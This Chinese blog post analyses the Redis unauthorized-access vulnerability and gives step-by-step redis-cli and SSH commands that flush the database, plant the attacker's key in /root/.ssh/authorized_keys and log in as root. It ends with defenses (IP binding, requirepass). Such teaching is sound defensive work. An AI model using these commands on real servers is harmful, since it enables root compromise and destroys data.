失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > [网络安全-1]Redis远程攻击漏洞分析与防护

[网络安全-1]Redis远程攻击漏洞分析与防护

时间:2019-06-07 14:22:38

相关推荐

[网络安全-1]Redis远程攻击漏洞分析与防护

Redis远程攻击漏洞分析与防护

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

原理分析:

1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。

2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。

3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。

攻击实战

前提:被攻击者机器,默认配置安装redis,可以远程无密码访问。

1. 准备公钥用于无秘钥登录到被侵入的机器上 (在攻击者机器上执行)

cd /rootssh-keygen -t rsaecho -e "\n\n" > testx.pubcat /root/.ssh/id_rsa.pub >> testx.pubecho -e "\n\n" >> testx.pub

2.登录到redis,fluahall掉所有数据。

./redis-cli -h xxx.xxx.xxx.xxxflushall

3.随便设置一个key作为公钥的值

cat /root/testx.pub | ./redis-cli -h xxx.xx.xx.xxx -p 6379 -x set testx

4.继续修改redis的配置,登录到redis

config set dir /root/.sshconfig set dbfilename authorized_keyssave

5.登录被入侵的服务器

ssh xxx.xxx.xxx.xxx

此时,攻击者就可以远程登录到被攻击者的机器上了。为所欲为。

原理就是利用redis的rdb持久化机制的漏洞,把ssh公钥设置到redis,然后利用持久化,动态修改redis的持久化文件的目录和名字,篡改了ssh的秘钥。然后就可以远程登录。

安全防护配置

解决办法一:采用绑定ip的方式来控制访问。

具体做法是,修改掉redis.conf的#bind 127.0.0.1,修改为允许访问的ip

解决办法二:采用密码的方式。

具体做法是,修改redis.conf下的requirepass yourpassword,设置登录密码。

在登录的时候使用密码登录,auth yourpassword。

如果觉得《[网络安全-1]Redis远程攻击漏洞分析与防护》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。